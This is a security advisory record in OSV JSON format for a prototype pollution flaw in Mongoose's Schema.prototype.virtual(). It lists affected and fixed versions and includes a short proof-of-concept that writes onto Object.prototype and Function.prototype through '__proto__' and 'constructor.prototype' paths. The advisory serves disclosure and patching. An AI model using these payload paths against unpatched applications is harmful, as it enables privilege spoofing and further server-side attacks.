{"id":"GHSA-6972-9mcm-vhwj","revision":"162ce267d8024b08986140ba770c7d75","records":[{"revision":"162ce267d8024b08986140ba770c7d75","observedAt":"2026-11-10T21:21:46.124+00:00","statement":{"source":"osv","id":"GHSA-6972-9mcm-vhwj","aliases":["CVE-2026-125118"],"title":"Mongoose: Prototype pollution via Schema.prototype.virtual()","description":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","state":0,"publishedAt":"2026-11-10T20:46:33+00:00","modifiedAt":"2026-11-10T21:00:03.5274693+00:00","affected":[{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.13.12"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.8.13"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.24.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"9.0.0"},{"kind":"fixed","version":"9.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj","https://nvd.nist.gov/vuln/detail/CVE-2026-125118","https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1","https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467","https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff","https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9","https://github.com/Automattic/mongoose","https://github.com/Automattic/mongoose/releases/tag/6.13.12","https://github.com/Automattic/mongoose/releases/tag/7.8.13","https://github.com/Automattic/mongoose/releases/tag/8.24.7","https://github.com/Automattic/mongoose/releases/tag/9.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-6972-9mcm-vhwj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6972-9mcm-vhwj","identifiers":["GHSA-6972-9mcm-vhwj","CVE-2026-125118"]},"retained":false,"historicalAffected":[]}],"coverage":[]}